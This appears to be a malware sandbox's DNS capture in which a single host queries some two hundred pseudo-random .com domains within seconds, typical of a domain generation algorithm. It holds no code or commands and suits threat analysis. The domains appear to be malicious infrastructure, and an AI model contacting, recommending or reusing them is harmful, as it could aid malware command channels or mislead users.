                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.646212101 CET192.168.2.41.1.1.10x92e4Standard query (0)lygytix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.646289110 CET192.168.2.41.1.1.10x4465Standard query (0)vowyjak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.647003889 CET192.168.2.41.1.1.10x2b1aStandard query (0)vofyruc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.649322987 CET192.168.2.41.1.1.10x9af2Standard query (0)qeqyhol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.652213097 CET192.168.2.41.1.1.10x4c84Standard query (0)gadyrus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.656691074 CET192.168.2.41.1.1.10x4fd8Standard query (0)qexyvyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.656734943 CET192.168.2.41.1.1.10x10e3Standard query (0)lymygor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.657191038 CET192.168.2.41.1.1.10x6a1Standard query (0)qedyruv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.658646107 CET192.168.2.41.1.1.10x6e9cStandard query (0)lyxyvyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.670365095 CET192.168.2.41.1.1.10x6db1Standard query (0)ganyfuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.670947075 CET192.168.2.41.1.1.10x9509Standard query (0)vopyjac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.680037975 CET192.168.2.41.1.1.10xf7d1Standard query (0)qetyhov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.680455923 CET192.168.2.41.1.1.10x5e57Standard query (0)lyvyver.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.683679104 CET192.168.2.41.1.1.10xba54Standard query (0)pujytug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.683887005 CET192.168.2.41.1.1.10xff4cStandard query (0)gatyhos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.684146881 CET192.168.2.41.1.1.10xa78bStandard query (0)vojyrum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.684731007 CET192.168.2.41.1.1.10xde89Standard query (0)ganyvyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.686481953 CET192.168.2.41.1.1.10xa8daStandard query (0)pupyjap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.688265085 CET192.168.2.41.1.1.10xd9b2Standard query (0)lykytin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.699717045 CET192.168.2.41.1.1.10xd5b1Standard query (0)qebyvyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.699800014 CET192.168.2.41.1.1.10x8fe9Standard query (0)lysyjex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.699990988 CET192.168.2.41.1.1.10xf04aStandard query (0)vonybuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.700217009 CET192.168.2.41.1.1.10xe4dbStandard query (0)qekytig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.700350046 CET192.168.2.41.1.1.10xb307Standard query (0)galypob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.726283073 CET192.168.2.41.1.1.10x19b4Standard query (0)pumybuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.727251053 CET192.168.2.41.1.1.10xdd7eStandard query (0)qedykep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.728799105 CET192.168.2.41.1.1.10xbd24Standard query (0)vocydyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.732039928 CET192.168.2.41.1.1.10x13bbStandard query (0)lykyxoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.925779104 CET192.168.2.41.1.1.10x1822Standard query (0)vowymom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.926212072 CET192.168.2.41.1.1.10xcc7Standard query (0)gaqynih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.926389933 CET192.168.2.41.1.1.10x46b5Standard query (0)lygylur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.926618099 CET192.168.2.41.1.1.10x963aStandard query (0)pufylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.928297043 CET192.168.2.41.1.1.10x20a1Standard query (0)volypof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.931073904 CET192.168.2.41.1.1.10xe764Standard query (0)gacydes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.931242943 CET192.168.2.41.1.1.10xb13aStandard query (0)lyxysad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.987807035 CET192.168.2.41.1.1.10x87f9Standard query (0)vojyzik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.987859964 CET192.168.2.41.1.1.10x3b86Standard query (0)qetyqag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.988137007 CET192.168.2.41.1.1.10x2975Standard query (0)gahyziw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.988389969 CET192.168.2.41.1.1.10xd844Standard query (0)gatyqeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.988467932 CET192.168.2.41.1.1.10xc4caStandard query (0)purymog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.988617897 CET192.168.2.41.1.1.10x6415Standard query (0)qebyfup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.988823891 CET192.168.2.41.1.1.10x5a34Standard query (0)lyvyfux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.990328074 CET192.168.2.41.1.1.10xcc8dStandard query (0)gadykyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.990545988 CET192.168.2.41.1.1.10x791dStandard query (0)puvydyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.990916014 CET192.168.2.41.1.1.10x7c6Standard query (0)qexysev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.991799116 CET192.168.2.41.1.1.10x8138Standard query (0)pujyxoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.992763042 CET192.168.2.41.1.1.10x4211Standard query (0)vopyqef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.993139982 CET192.168.2.41.1.1.10x3b9fStandard query (0)puzypav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.993597984 CET192.168.2.41.1.1.10xc6c9Standard query (0)qegylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.993861914 CET192.168.2.41.1.1.10x5be1Standard query (0)lymynuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:08.994993925 CET192.168.2.41.1.1.10x64a7Standard query (0)lyryman.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.009459972 CET192.168.2.41.1.1.10x9fecStandard query (0)qeqyniq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.320489883 CET192.168.2.41.1.1.10x675fStandard query (0)vofykyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.510914087 CET192.168.2.41.1.1.10xebbfStandard query (0)gahyruh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.511028051 CET192.168.2.41.1.1.10x9b65Standard query (0)puvycel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.515623093 CET192.168.2.41.1.1.10x483bStandard query (0)lysymor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.518433094 CET192.168.2.41.1.1.10x256bStandard query (0)ganydeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.518754005 CET192.168.2.41.1.1.10xc223Standard query (0)lykylud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.521929979 CET192.168.2.41.1.1.10xe7aStandard query (0)pupymol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.522780895 CET192.168.2.41.1.1.10x6c17Standard query (0)qekyluv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.525660992 CET192.168.2.41.1.1.10x9fa3Standard query (0)qebysaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.526504040 CET192.168.2.41.1.1.10x934cStandard query (0)vonydem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.528532982 CET192.168.2.41.1.1.10x2daaStandard query (0)gatyniz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.529079914 CET192.168.2.41.1.1.10xd66aStandard query (0)lyvysaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.529366970 CET192.168.2.41.1.1.10x63b9Standard query (0)vojykyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.532119036 CET192.168.2.41.1.1.10xfd1fStandard query (0)qetynup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.532473087 CET192.168.2.41.1.1.10x493fStandard query (0)puvypoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.533788919 CET192.168.2.41.1.1.10xf11cStandard query (0)lyrynux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.534013987 CET192.168.2.41.1.1.10x398fStandard query (0)vocypok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.541452885 CET192.168.2.41.1.1.10x1680Standard query (0)galyzus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.544560909 CET192.168.2.41.1.1.10x9c5Standard query (0)purybup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.545536041 CET192.168.2.41.1.1.10x82c7Standard query (0)gacypiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.546257019 CET192.168.2.41.1.1.10x21c6Standard query (0)puzyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.546459913 CET192.168.2.41.1.1.10xc7f9Standard query (0)gahykeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.546596050 CET192.168.2.41.1.1.10xe396Standard query (0)qexytil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.550261021 CET192.168.2.41.1.1.10x872Standard query (0)qegykeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.559629917 CET192.168.2.41.1.1.10xae7fStandard query (0)gaqyvys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.559673071 CET192.168.2.41.1.1.10xd3e3Standard query (0)pufyjag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.560158014 CET192.168.2.41.1.1.10xa286Standard query (0)vofyjom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.560316086 CET192.168.2.41.1.1.10xf41cStandard query (0)qeqyvev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.560478926 CET192.168.2.41.1.1.10xbf1eStandard query (0)lyxytur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.560513973 CET192.168.2.41.1.1.10x883eStandard query (0)puzytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.672487974 CET192.168.2.41.1.1.10xd81cStandard query (0)lygyjan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.672786951 CET192.168.2.41.1.1.10xca4dStandard query (0)lymyved.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.673105955 CET192.168.2.41.1.1.10x6aafStandard query (0)vowybyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.673320055 CET192.168.2.41.1.1.10xf0b9Standard query (0)pumycav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.673665047 CET192.168.2.41.1.1.10xe7afStandard query (0)qedyhiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.674252987 CET192.168.2.41.1.1.10x4294Standard query (0)gadyhoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.674511909 CET192.168.2.41.1.1.10xefcdStandard query (0)volyrut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.674885035 CET192.168.2.41.1.1.10x3bb1Standard query (0)lysygij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.675111055 CET192.168.2.41.1.1.10x8dStandard query (0)vonycaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.675261021 CET192.168.2.41.1.1.10x6803Standard query (0)qekyryp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.675545931 CET192.168.2.41.1.1.10xd872Standard query (0)ganycob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.675808907 CET192.168.2.41.1.1.10x2e21Standard query (0)lykywex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.675987005 CET192.168.2.41.1.1.10xa355Standard query (0)vopyguk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.676234007 CET192.168.2.41.1.1.10xc8fbStandard query (0)pupyguq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.676598072 CET192.168.2.41.1.1.10xdbe1Standard query (0)qegyryq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.677232981 CET192.168.2.41.1.1.10xe89dStandard query (0)volyzic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.677300930 CET192.168.2.41.1.1.10xa64cStandard query (0)vopymit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.679789066 CET192.168.2.41.1.1.10xc4a9Standard query (0)qeqyfug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.681751013 CET192.168.2.41.1.1.10xb52cStandard query (0)gacycaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.681787968 CET192.168.2.41.1.1.10xa1caStandard query (0)lyxyxox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.682286978 CET192.168.2.41.1.1.10x1291Standard query (0)gaqyfub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.683517933 CET192.168.2.41.1.1.10xcaf4Standard query (0)gadyqaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.689910889 CET192.168.2.41.1.1.10xd91Standard query (0)lyrygid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.690243959 CET192.168.2.41.1.1.10xf14dStandard query (0)vowyguf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.692985058 CET192.168.2.41.1.1.10xa0f7Standard query (0)pufyweq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.693464041 CET192.168.2.41.1.1.10x2a16Standard query (0)vofyqek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.693686962 CET192.168.2.41.1.1.10x4924Standard query (0)purygiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.693716049 CET192.168.2.41.1.1.10x5fa8Standard query (0)lymyfyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.693870068 CET192.168.2.41.1.1.10x4cf6Standard query (0)galyryz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.697156906 CET192.168.2.41.1.1.10xf864Standard query (0)pumydyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.699251890 CET192.168.2.41.1.1.10x5611Standard query (0)pujylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.699502945 CET192.168.2.41.1.1.10x5f5aStandard query (0)qexyxop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.704510927 CET192.168.2.41.1.1.10xbffaStandard query (0)qedyqal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.704636097 CET192.168.2.41.1.1.10xaa7dStandard query (0)vocycat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:09.704670906 CET192.168.2.41.1.1.10x21c2Standard query (0)lygywyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.170999050 CET192.168.2.41.1.1.10xfe12Standard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.171192884 CET192.168.2.41.1.1.10x7fd0Standard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.171340942 CET192.168.2.41.1.1.10xd407Standard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.181010962 CET192.168.2.41.1.1.10xb4c6Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.189094067 CET192.168.2.41.1.1.10x8677Standard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.189264059 CET192.168.2.41.1.1.10x117Standard query (0)puzywel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.195939064 CET192.168.2.41.1.1.10x3f4fStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.294642925 CET192.168.2.41.1.1.10x86a2Standard query (0)vocyruk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.341907978 CET192.168.2.41.1.1.10x7192Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.342416048 CET192.168.2.41.1.1.10xd1bStandard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.350486994 CET192.168.2.41.1.1.10xcfeaStandard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.351731062 CET192.168.2.41.1.1.10x7442Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.356547117 CET192.168.2.41.1.1.10x23b6Standard query (0)pupybul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.371716022 CET192.168.2.41.1.1.10x821eStandard query (0)qekykev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.419399977 CET192.168.2.41.1.1.10xe4a1Standard query (0)vocyryf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.419945002 CET192.168.2.41.1.1.10xd842Standard query (0)qegyhip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.420449972 CET192.168.2.41.1.1.10x516eStandard query (0)purycaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.420943022 CET192.168.2.41.1.1.10x689eStandard query (0)gacyryb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.443759918 CET192.168.2.41.1.1.10xe842Standard query (0)lygygux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.475183010 CET192.168.2.41.1.1.10x6e63Standard query (0)pufygup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.475785017 CET192.168.2.41.1.1.10x9600Standard query (0)vowycok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.496670008 CET192.168.2.41.1.1.10xe8edStandard query (0)qexyreg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.525185108 CET192.168.2.41.1.1.10xe3e8Standard query (0)gaqycow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.557358027 CET192.168.2.41.1.1.10xdc64Standard query (0)lyxywen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.599905014 CET192.168.2.41.1.1.10xfd6bStandard query (0)vofyguc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.660377979 CET192.168.2.41.1.1.10x399cStandard query (0)qeqyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.729278088 CET192.168.2.41.1.1.10xa982Standard query (0)puzywag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.766927004 CET192.168.2.41.1.1.10x8eadStandard query (0)gadyfys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.853961945 CET192.168.2.41.1.1.10x9725Standard query (0)lymyxir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:10.958861113 CET192.168.2.41.1.1.10x4216Standard query (0)lysyfed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:11.608603001 CET192.168.2.41.1.1.10x65acStandard query (0)qebytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:11.899699926 CET192.168.2.41.1.1.10xf85Standard query (0)pumyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:14.808963060 CET192.168.2.41.1.1.10xe9f5Standard query (0)qeqysag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:14.830719948 CET192.168.2.41.1.1.10x32f0Standard query (0)lymysan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:14.863444090 CET192.168.2.41.1.1.10x1b1dStandard query (0)volykyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.021123886 CET192.168.2.41.1.1.10x277bStandard query (0)lysyfyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.087563038 CET192.168.2.41.1.1.10xbacStandard query (0)qexyryl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.118144989 CET192.168.2.41.1.1.10x911eStandard query (0)qekyqop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.124947071 CET192.168.2.41.1.1.10x4928Standard query (0)gaqycos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.167968988 CET192.168.2.41.1.1.10xeed8Standard query (0)pumyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.168883085 CET192.168.2.41.1.1.10xecStandard query (0)vonyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.243408918 CET192.168.2.41.1.1.10x9f9aStandard query (0)vofygum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.269547939 CET192.168.2.41.1.1.10xf144Standard query (0)qeqyxov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.277668953 CET192.168.2.41.1.1.10x8243Standard query (0)gacyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.277862072 CET192.168.2.41.1.1.10x5823Standard query (0)qegyqaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.286226034 CET192.168.2.41.1.1.10xc87dStandard query (0)gadyfuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.316524982 CET192.168.2.41.1.1.10x3ecbStandard query (0)volyqat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.319708109 CET192.168.2.41.1.1.10xa7eeStandard query (0)puvyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.325908899 CET192.168.2.41.1.1.10x4e3dStandard query (0)qedyfyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.329351902 CET192.168.2.41.1.1.10x3e07Standard query (0)purydyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.329802036 CET192.168.2.41.1.1.10x86f5Standard query (0)lyryfyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.340097904 CET192.168.2.41.1.1.10xb4c0Standard query (0)pujyjav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.340292931 CET192.168.2.41.1.1.10xa904Standard query (0)qebytiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.340506077 CET192.168.2.41.1.1.10xc5acStandard query (0)vopybyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.340889931 CET192.168.2.41.1.1.10x6222Standard query (0)lykyjad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.353355885 CET192.168.2.41.1.1.10xabc8Standard query (0)ganypih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.474986076 CET192.168.2.41.1.1.10x14dcStandard query (0)purycaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.483494997 CET192.168.2.41.1.1.10x9a19Standard query (0)pumyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.486417055 CET192.168.2.41.1.1.10x74abStandard query (0)qebytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.490932941 CET192.168.2.41.1.1.10xb0aStandard query (0)lysyfed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.498881102 CET192.168.2.41.1.1.10x54c5Standard query (0)lymyxir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.504563093 CET192.168.2.41.1.1.10x4210Standard query (0)gadyfys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.509752989 CET192.168.2.41.1.1.10x9476Standard query (0)puzywag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:49:16.515095949 CET192.168.2.41.1.1.10xec5cStandard query (0)vofyguc.comA (IP address)IN (0x0001)false
